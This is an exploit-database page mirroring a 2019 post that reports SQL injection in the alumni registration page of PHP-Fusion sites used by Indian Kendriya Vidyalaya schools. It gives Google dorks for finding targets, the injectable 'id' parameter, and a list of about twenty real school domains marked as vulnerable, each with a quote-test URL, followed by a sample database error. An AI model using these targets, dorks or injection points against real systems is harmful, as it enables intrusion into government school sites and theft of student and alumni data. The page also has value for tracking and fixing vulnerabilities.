Exploitalert - Database of Exploits

Kendriya Vidyalaya Sourabh Kumar Mishra PHP-Fusion SQL Injection

CVE	Category	Price	Severity
N/A	CWE-89	Unknown	High

Author	Risk	Exploitation Type	Date
Sourabh Kumar Mishra	High	Remote	2019-05-07

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N	0.73516	0.99005

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2019050078

Kendriya Vidyalaya Sourabh Kumar Mishra PHP-Fusion SQL Injection

############################################################################ # Exploit Title : Kendriya Vidyalaya Sourabh Kumar Mishra PHP-Fusion SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 07/05/2019 # Vendor Homepage : kvsangathan.nic.in - php-fusion.co.uk # Script Owner E-Mail Address : sourabhmishra_2005 [AT] yahoo.com # Information : en.wikipedia.org/wiki/Kendriya_Vidyalaya # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : Alumni detail view intext:Kendriya Vidyalaya - site:edu.in intext:Site developed by Sourabh Kumar Mishra using PHP-Fusion. site:edu.in # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################ # Description about Software and History : ************************************* PHP-Fusion is an all in one integrated and scalable platform a lightweight open source content management system (CMS) written in PHP that will fit any purpose when it comes to website productions, whether you are creating community portals or personal sites. The Kendriya Vidyalaya Sangathan (lit. "central schools") is a system of central government schools in India that are instituted under the aegis of the Ministry of Human Resource Development (MHRD). It comprises over 1,199 schools in India (as of 1 November 2018) and three abroad. It is one of world's largest chains of schools. The system came into being in 1963 under the name 'Central Schools'. Later, the name was changed to Kendriya Vidyalaya. All the schools are affiliated to the Central Board of Secondary Education (CBSE). Its objective is to educate children of the Indian Defence Services personnel who are often posted to remote locations. With the army starting its own Army Public Schools, the service was extended (but not restricted) to all central government employees. A uniform curriculum is followed by these schools all over India. By providing a common syllabus and system of education, the Kendriya Vidyalayas are intended to ensure that the children of government employees do not face education disadvantages when their parents are transferred from one location to another. The schools have been operational for more than 50 years. ############################################################################ # Impact : *********** Kendriya Vidyalaya Sourabh Kumar Mishra PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ############################################################################ # SQL Injection Exploit : ********************** /alumni_registration.php?action=&id=[SQL Injection] ############################################################################ # Example Vulnerable Sites : ************************* [+] kvrkpsec2.edu.in/alumni_registration.php?action=&id=1%27 [+] kvgolemarket.edu.in/alumni_registration.php?action=&id=1%27 [+] kvsrinagargwl.edu.in/alumni_registration.php?action=&id=1%27 [+] kvpitampura.edu.in/alumni_registration.php?action=&id=1%27 [+] kvmaligaon.edu.in/alumni_registration.php?action=&id=1%27 [+] kvntpcbadarpur.edu.in/alumni_registration.php?action=&id=1%27 [+] kvno3delhicantt.edu.in/alumni_registration.php?action=&id=1%27 [+] kvsarsawa.edu.in/alumni_registration.php?action=&id=1%27 [+] kvsainikvihar.edu.in/alumni_registration.php?action=&id=1%27 [+] kvpalwal.edu.in/alumni_registration.php?action=&id=1%27 [+] kvalmora.edu.in/alumni_registration.php?action=&id=1%27 [+] kvagcr.edu.in/alumni_registration.php?action=&id=1%27 [+] kvsikhlines.edu.in/alumni_registration.php?action=&id=1%27 [+] kvgurgaon.edu.in/alumni_registration.php?action=&id=1%27 [+] kvgreaternoida.edu.in/alumni_registration.php?action=&id=1%27 [+] kvntpcbadarpur.edu.in/alumni_registration.php?action=&id=1%27 [+] kvagcr.edu.in/alumni_registration.php?action=&id=1%27 [+] kvafschandinagar.edu.in/alumni_registration.php?action=&id=1%27 [+] kvknngzb.edu.in/alumni_registration.php?action=&id=1%27 [+] kvpalwal.edu.in/alumni_registration.php?action=&id=1%27 [+] kv4dc.edu.in/alumni_registration.php?action=&id=1%27 [+] kvpunjablines.edu.in/alumni_registration.php?action=&id=1%27 [+] kvdogralines.edu.in/alumni_registration.php?action=&id=1%27 ############################################################################ # Example SQL Database Error : **************************** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 ############################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################

Impressum